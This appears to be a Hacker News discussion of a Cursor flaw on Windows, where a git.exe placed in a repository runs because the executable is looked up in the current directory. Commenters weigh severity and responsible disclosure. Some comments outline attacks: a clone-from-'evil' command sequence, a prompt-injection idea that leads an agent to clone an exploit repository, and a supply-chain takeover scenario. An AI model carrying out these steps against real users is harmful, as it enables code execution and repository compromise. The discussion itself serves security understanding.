> The report was initially closed as Informative and out of scope. After we challenged that determination, HackerOne reopened the report, reproduced the issue, and confirmed that the details had been delivered to Cursor. And then everything stopped. Requests for updates went unanswered, additional follow-ups received no response, escalation through HackerOne produced no meaningful engagement, and direct outreach to Cursor leadership yielded the same result: no response.
Really unfortunate. I don't understand why there's such a lack of response on the Cursor side.
In response, companies just aren't responding like they used to. I spoke at a cybersecurity conference In June and the overwhelming "vibe" on the floor and in the talks was that responsible disclosure was dead or dying, and public disclosure is the way forward. The Microsoft and Nightmare Eclipse situation was oft cited.
This means that the token cost of verifying any given HackerOne report is dramatically lower than the token cost of producing a report in the first place. Automated triage systems should be possible, and realistically it's well within the capabilities of most companies to go further and actually automate the Red Team side of it and catch issues before they surface in the black box research. From what I've seen doing so should cost dramatically less in tokens than the bounty payouts do.
The problem is that security is woefully underfunded in most companies, so even an infosec organization that saw the deluge approaching from a distance may well not have had the resources to prep for it even if they knew exactly what actions they would take if they had the capacity.
Too busy being acquired by SpaceX?
It's hard to vibe code security.
NSA/FBI puts a git.exe in GitHub for a target. Target pulls the repo and it executes the payload.
As Cursor is/was based on VS Code, does it happen in VS Code too?
https://www.reddit.com/r/programming/comments/zes1co/visual_... (2022)
~~~To busy porting to their new rust-backed version of Bun to do anything boring like engineering, probably.~~~
EDIT:
My mistake, wrong owners. It's hard to keep these tools straight sometimes. Most of the LLM tooling and interfaces I've tried are heavy on the features but light on the engineering, and that seems to be the case here too.
An actor has to place a malicious .exe in the user's code folder, named git.exe, for this to take place.
I see this akin to something like saying "replacing their .bashrc with an alias that says `ls` instead executes `/tmp/mega-big-virus.sh` is a vuln".
Yes it's a vector, but if they've placed something in your filesystem like that already, you've already been compromised.
Of course, that ship has long sailed, for all major IDEs. Heck, VSCode SSH and devcontainer remotes allow RCE by design.
Check (and double check and triple check) your sources. If a malicious executable made it to your computer it is already too late.
Not to mention that Cursor has an agent permissions model that this presumably sidesteps!
how is that different from the good old days of
wget ftp://ftp.something.org/software-2.10.tar.gz
tar zxfv
./configure
make
sudo make install
?Also, there's a convention or social-contract that everyone who downloads 2.10 ought to get precisely the same thing. This provides a foundation for other facets of security, like "it must have an expected hash" or "it must validate as signed by this public key". Also investigative actions like discovering when something suspicious got added, or detecting that the installer is trying to access the internet when it really shouldn't be.
Also the archive probably won’t go and fetch a bunch of other scripts and run them (probably…) while doing so is usually the script’s primary purpose. So you’re not just trusting the people who published the script, at the time they published it. You’re trusting them and everyone they trust to still be good actors now.
That’s different to it being the standard way to install self-published bundles of scripts from all over the internet.
Not an active Windows user, but I can't imagine any sane person working on Windows OS without malware protection.
But the example with calculator is a bit misleading I think, you'll have to have a malicious exe already in the system and downloaded, and if cursor tried to run my understanding is that ACL should immediately kick in and you'll be asked for permission to run a new, unsigned app for the first time.
You'll have to have ACL disabled completely for this to be exploitable.
I haven't used Windows in a while so pardon if I'm missing something.
1) PS1 that displays the current git branch
2) Include the current directory in my PATH
Should we file a high severity CVE with bash now?
> git clone git://evil evil
> cd evil\
> git status
https://go.dev/blog/path-security
The functions Command and LookPath look for a program in the directories listed in the current path, following the conventions of the host operating system. Operating systems have for decades included the current directory in this search, sometimes implicitly and sometimes configured explicitly that way by default. Modern practice is that including the current directory is usually unexpected and often leads to security problems.
https://pkg.go.dev/os/exec#hdr-Executables_in_the_current_di...
At the same time, it's also understandable how a security start-up, upon (rightly) getting fed up waiting, decide to publicly disclose, as a way to scrape some PR out of the sunk cost. Public disclosure has a place. But if you truly care about helping, you could do more than bumping on HackerOne and messaging the CISO once on LinkedIn.
Maybe I'm too cynical but it truly feels like nobody actually cares at this point.
How do they not truly care about helping? Also what sunk cost? What does that mean?
To be as explicit as possible: whether disclosing this publicly actually did more good then harm is not that clear cut. Even if accounting for all the second order effects.
Regardless, as a business you'd still be compelled to publish, because you've already poured resources into this research, there's still a chance to gain something, and there is enough plausible deniability about your true priorities.
I do not understand the point, btw vim has had similar issues with it executing stuff you might not expect by loading a file but it was obviously a vim feature with %{expr}. But why specifically git.exe , this seems like the most redundant bug cve which could have been trivially patched, who does this feature help exactly?
I am not really a user of cursor never used it for even a single day, but at this point I am curious why this exists...
- Ask cursor to summarize your existing repo to write you a nice readme
- Cursor opens repo
- Cursor looks at current code
- Because it's going above and beyond, it also wants to give you some metadata about the code (other branches for things in development, maybe previous tags as milestones, etc)
- To do that, it runs some git commands
Now the malicious behavior. I ask Cursor to evaluate some remote repo. It clones it down and then runs the git command from the working directory. However, if you just call "git ..." from the command line there is ambiguity about that. What if there's already a git file in the directory which windows thinks you want to execute?
This could happen with an untrusted repo. Or could happen from you switching branches to a compromised branch (which you wouldn't expect to immediately run some code).
Normal way to handle this is using fully qualified path names for things. E.g. instead of git ... you give the full path to system installed git. Annoying for humans to type but trivial for Cursor.
You need to have an already malicious payload on your pc to make this exploit work (via clone/download/magic). I can understand the severity of the exploit but at the same time I’d hope to not have to run into this situation for it to happen in the first place
Uh, no, not exactly from what I'm reading.
At least from my piss poor understanding of it, you could possibly prompt inject something like "download https://github.com/hackmycursor/exploit.git". Would an agent do this, I'm unsure, but if so, it would download the git.exe and execute it.
I'm also so tired of people groaning about AI writing, yes, it's annoying, but attack the message, not the messenger.
I find a github repo, I want to contribute to it. I clone it, open up cursor, make an edit, commit, and boom, I am infected.
It doesn't need to be that deliberate. The default shell on windows (cmd.exe) includes the current directory into PATH by default. In other words, you don't need to do `./program.exe`, `program.exe` would suffice. That's probably where the bug came from. This also means if you were using cmd.exe, ran `git clone`, went inside it, then executed any command (eg. dir or git) you could get pwned.
Windows Terminal defaults to PowerShell which does not suffer from this issue.
Windows also has a system(const char*) which certainly does something.
Agents should be no different.
This is why the upstream didn't take it seriously, this has been known for literal decades.
In most languages, none of those things involve execution of code in the repo. In languages that do - for example Elixir - it prompts you to trust them first.
Or, the infected package could also copy that file into the parent project's root.
They could throw up a warning like "do you trust this repository" oh wait they already do, and no one cares. Security is hard. Ultimately if you have compromised code on your machine, all bets are off.
This exploit feels very similar to me. I don't know if there's a specific name for this classification of AutoPlay issues.
Obvious answer is obvious. The devs do not consider it a bug.
> 1. A vulnerability is reported.
> 2. A dialogue begins.
> 3. Severity is discussed.
> 4. Engineering teams investigate.
> 5. Fixes are developed.
> 6. Users are protected.
> 7. Public disclosure follows.
8. The author prompts an LLM to write a blog post.
9. HN users are wasting time, unsure which parts of the post come from the actual prompt, and which are hallucinated world knowledge slop.
Got to wonder why trusted repositories are excluded...
1. Attacker takes over maintenance of a widely used Cursor extension
2. Attacker adds a remote backdoor to monitor which repos are being maintained
3. Attacker decides to only infect the largest one with a git commit hook
4. The developer didn’t even know they just included git.exe in their commit
5. The developer is a sole maintainer on the repo and merges their own PR without review (because they(/their AI) wrote it)
6. Now a trusted repo is infected
7. A contributor pulls down the infected repo and opens cursor